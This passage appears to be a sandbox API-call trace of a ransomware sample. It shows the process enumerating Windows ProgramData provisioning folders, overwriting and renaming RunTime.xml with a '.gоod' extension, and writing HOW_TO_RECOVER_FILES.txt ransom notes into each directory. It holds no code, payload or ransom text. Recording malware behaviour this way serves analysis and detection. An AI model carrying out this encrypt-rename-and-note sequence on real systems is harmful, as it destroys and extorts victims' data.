FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0127.705] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0127.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0127.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0127.705] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov", lpFilePart=0x0) returned 0x51 [0127.705] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.705] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.706] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0127.706] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0127.706] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0127.706] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0127.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0127.706] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0127.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0127.706] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x3501fe0 | out: lpFileInformation=0x3501fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102)) returned 1 [0127.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0127.707] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0127.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0127.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0127.707] GetFileType (hFile=0x618) returned 0x1 [0127.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0127.707] GetFileType (hFile=0x618) returned 0x1 [0127.707] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x102 [0127.707] ReadFile (in: hFile=0x618, lpBuffer=0x35023e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x35023e0*, lpNumberOfBytesRead=0x1f9ed1d8*=0x102, lpOverlapped=0x0) returned 1 [0127.708] CloseHandle (hObject=0x618) returned 1 [0128.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0128.495] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0128.496] GetFileType (hFile=0x630) returned 0x1 [0128.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0128.496] GetFileType (hFile=0x630) returned 0x1 [0128.497] WriteFile (in: hFile=0x630, lpBuffer=0x353baf8*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x353baf8*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x110, lpOverlapped=0x0) returned 1 [0128.497] CloseHandle (hObject=0x630) returned 1 [0128.497] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0128.498] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0128.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0128.498] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x48cd29ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0128.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0128.498] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.gоod")) returned 1 [0128.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0128.499] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0128.499] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.499] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.499] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0128.499] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.499] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0128.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0128.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0128.499] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0128.499] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.500] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.500] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0128.500] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0128.500] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0128.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0128.500] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0128.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0128.500] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0128.501] GetFileType (hFile=0x630) returned 0x1 [0128.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0128.501] GetFileType (hFile=0x630) returned 0x1 [0128.501] WriteFile (in: hFile=0x630, lpBuffer=0x354da28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x354da28*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0128.503] CloseHandle (hObject=0x630) returned 1 [0128.503] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0128.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0128.503] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0128.504] GetFileType (hFile=0x630) returned 0x1 [0128.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0128.504] GetFileType (hFile=0x630) returned 0x1 [0128.505] WriteFile (in: hFile=0x630, lpBuffer=0x3551350*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3551350*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0128.506] CloseHandle (hObject=0x630) returned 1 [0128.506] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0128.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0128.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0128.508] GetFileType (hFile=0x630) returned 0x1 [0128.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0128.508] GetFileType (hFile=0x630) returned 0x1 [0128.509] WriteFile (in: hFile=0x630, lpBuffer=0x3554c68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3554c68*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0128.509] CloseHandle (hObject=0x630) returned 1 [0129.830] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0129.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0129.831] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0129.831] GetFileType (hFile=0x6e4) returned 0x1 [0129.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0129.831] GetFileType (hFile=0x6e4) returned 0x1 [0129.832] WriteFile (in: hFile=0x6e4, lpBuffer=0x355e9e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x355e9e8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0129.832] CloseHandle (hObject=0x6e4) returned 1 [0129.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0129.833] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search", lpFilePart=0x0) returned 0x1f [0129.833] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0129.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0129.834] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0129.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0129.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0129.834] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Search", lpFilePart=0x0) returned 0x1f [0129.834] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.835] 